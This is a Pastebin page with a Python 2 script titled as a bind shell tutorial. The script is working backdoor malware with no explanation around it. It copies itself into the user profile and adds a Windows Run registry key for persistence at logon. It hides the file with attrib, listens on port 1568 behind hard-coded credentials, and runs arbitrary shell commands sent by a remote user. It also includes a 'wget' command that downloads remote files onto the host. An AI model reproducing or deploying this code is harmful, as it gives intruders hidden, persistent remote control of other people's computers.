Advertisement
Guest User

How to Create a Bind Shell with Python

a guest
Aug 19th, 2015
2,602
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.98 KB | None | 0 0
  1. import socket, os, thread, subprocess, sys, urllib2
  2.  
  3. subprocess.call('copy ' + os.path.split(sys.argv[0])[1] + ' %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  4. subprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v BindShell /d %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  5. subprocess.call('attrib +s +r +h %userprofile%' + '\\' + os.path.split(sys.argv[0])[1], shell=True)
  6.  
  7. def connection(conn):
  8.     conn.setblocking(1)
  9.     conn.send("USER: ")
  10.     user = conn.recv(1024)
  11.     conn.send("PASS: ")
  12.     passwd = conn.recv(1024)
  13.    
  14.     if user.strip('\r\n') =='ManWuzi' and passwd.strip('\r\n') == 'NullByte':
  15.         conn.send('Connection Established!')
  16.         while True:
  17.             conn.send('\n$')
  18.             data = conn.recv(1024)
  19.  
  20.             if data.strip('\r\n') == 'quit' or data.strip('\r\n') == 'exit':
  21.                 conn.close()
  22.                 break
  23.  
  24.             elif data.strip('\r\n').startswith('cd'):
  25.                 try:
  26.                     os.chdir(data.strip('\r\n')[3:])
  27.                 except:
  28.                     conn.send('The system path cannot be found!')
  29.  
  30.             elif data.strip('\r\n').startswith('wget'):
  31.                 try:
  32.                     f = open(os.path.basename(data[5:]), "wb")
  33.                     f.write(urllib2.urlopen(data[5:]))
  34.                     f.close()
  35.                     conn.send("Successfully downloaded %s" %os.path.basename(data[5:]))
  36.                 except:
  37.                     conn.send("Download failed!")                  
  38.  
  39.             else:
  40.                 proc = subprocess.Popen(data.strip('\r\n'), shell=True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
  41.                 stdoutput = proc.stdout.read() + proc.stderr.read()
  42.                 conn.send(stdoutput)
  43.  
  44.     else:
  45.         conn.send("Incorrect user/pass combination!\n")
  46.         conn.close()
  47.  
  48.  
  49. while True:
  50.     try:
  51.  
  52.         s = socket.socket()
  53.         s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  54.  
  55.         s.bind(('', 1568))
  56.         s.listen(5)
  57.        
  58.         while True:
  59.             s.settimeout(2)
  60.             try:
  61.                 conn, addr = s.accept()
  62.  
  63.             except socket.timeout:
  64.                 continue
  65.  
  66.  
  67.             if(conn):
  68.                 s.settimeout(None)
  69.                 thread.start_new_thread(connection, (conn,))
  70.  
  71.  
  72.     except: pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement